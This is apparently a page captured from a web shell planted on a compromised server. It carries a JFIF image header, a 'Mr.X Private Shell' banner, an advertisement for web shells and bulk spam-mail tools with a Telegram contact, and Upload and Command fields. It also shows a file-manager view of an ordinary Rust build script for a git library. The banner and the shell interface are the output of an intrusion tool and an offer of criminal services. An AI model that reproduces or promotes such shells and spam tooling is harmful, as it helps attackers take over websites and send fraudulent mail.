����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
use std::env;
use std::path::PathBuf;

pub fn main() -> std::io::Result<()> {
    let ac = autocfg::new();
    ac.emit_has_path("std::ffi::c_char");

    let crate_root = PathBuf::from(env::var_os("CARGO_MANIFEST_DIR").unwrap());
    let git_root = crate_root.join("../..");
    let dst = PathBuf::from(env::var_os("OUT_DIR").unwrap());

    let make_output = make_cmd::gnu_make()
        .env("DEVELOPER", "1")
        .env_remove("PROFILE")
        .current_dir(git_root.clone())
        .args([
            "INCLUDE_LIBGIT_RS=YesPlease",
            "contrib/libgit-sys/libgitpub.a",
        ])
        .output()
        .expect("Make failed to run");
    if !make_output.status.success() {
        panic!(
            "Make failed:\n  stdout = {}\n  stderr = {}\n",
            String::from_utf8(make_output.stdout).unwrap(),
            String::from_utf8(make_output.stderr).unwrap()
        );
    }
    std::fs::copy(crate_root.join("libgitpub.a"), dst.join("libgitpub.a"))?;
    println!("cargo:rustc-link-search=native={}", dst.display());
    println!("cargo:rustc-link-lib=gitpub");
    println!("cargo:rerun-if-changed={}", git_root.display());

    Ok(())
}

Filemanager

Name Type Size Permission Actions
src Folder 0755
Cargo.lock File 1.78 KB 0644
Cargo.toml File 493 B 0644
README.md File 97 B 0644
build.rs File 1.14 KB 0644
public_symbol_export.c File 1.31 KB 0644
public_symbol_export.h File 568 B 0644